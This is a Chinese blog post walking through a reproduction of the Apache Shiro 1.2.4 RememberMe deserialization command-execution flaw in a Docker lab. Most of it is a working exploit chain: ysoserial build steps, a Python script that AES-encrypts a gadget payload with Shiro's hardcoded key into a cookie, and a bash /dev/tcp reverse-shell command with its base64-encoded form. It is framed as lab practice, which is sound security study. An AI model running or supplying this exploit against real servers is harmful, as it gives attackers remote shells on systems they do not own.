【漏洞复现】最简洁的Shiro RememberMe 1.2.4 反序列化命令执行漏洞

0x00 前言

最近在内网进行测试,朋友跟我说在内网这种漏洞比较多,记得这个漏洞是很久之前就爆出来了,当时只是看了一下复现文档,没有进行实操,正好这次复现了,在这里记录一下,而且我这里使用的办法比网上大部分文章都相对简洁,很适合跟我一样的小白复现。


0x01 服务器环境安装

直接使用docker进行环境的安装

 docker pull medicean/vulapps:s_shiro_1

安装好之后为了能够进行访问与反弹Shell,这里需要对端口进行映射(端口映射需要在启动的时候设置映射的端口,不然就需要重新启动)

启动容器

docker run -d -p 80:8080 -p 7777:6666 medicean/vulapps:s_shiro_1

查看一下,状态为UP代表正在运行中
在这里插入图片描述
直接访问
在这里插入图片描述
好的,服务器环境安装完毕了


0x02 漏洞验证

怎么确定网站是Shiro环境的呢?
使用BurpSuite抓取数据包,通过响应包中的 rememberMe=deleteMe来确认
在这里插入图片描述

0x03 攻击机环境安装

攻击机的系统为:debian 9

先更新一下

sudo apt-get update

方便下载exp,先安装git

sudo apt install git

安装JDK

sudo apt-get install openjdk-8-jdk

因为生成Cookie的脚本需要安装依赖,这里直接安装pip来进行依赖的安装,首先安装pip

sudo apt install python3-pip

安装依赖pycrypto

sudo pip3 install pycrypto

安装MVN

sudo apt update
sudo apt upgrade
sudo apt install maven

安装完成验证一下

mvn --version

最后安装一下nc

sudo apt install netcat-openbsd

好的,万事俱备了,下面开始进行攻击


0x04 开始攻击

下载EXP

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests

这里需要用Python脚本进行代码执行的生成
代码如下

import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

需要将脚本跟ysoserial-0.0.6-SNAPSHOT-all.jar放到同一个目录
在这里插入图片描述
反弹Shell的代码需要进行base64加密,先进行加密

反弹Shell命令(地址请替换成自己的公网地址)

bash -i >& /dev/tcp/1.1.1.1/6666 0>&1

加密网站:http://www.jackson-t.ca/runtime-exec-payloads.html
在这里插入图片描述
下面是生成反弹Shell到我本机的命令

python3 test.py "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zNS4x1OTxI2uMTg4LjIxMS83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}"

运行后会在/tmp目录生成payload.cookie文件
在这里插入图片描述
开始监听6666端口
在这里插入图片描述
再次来到WEB页面,随便抓取一个页面的数据包
在这里插入图片描述
将payload.cookie文件中的内容替换到Cookie中,再次发送数据包
在这里插入图片描述
成功获得反弹的Shell
在这里插入图片描述

至此,漏洞复现完毕,感谢观看。
  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值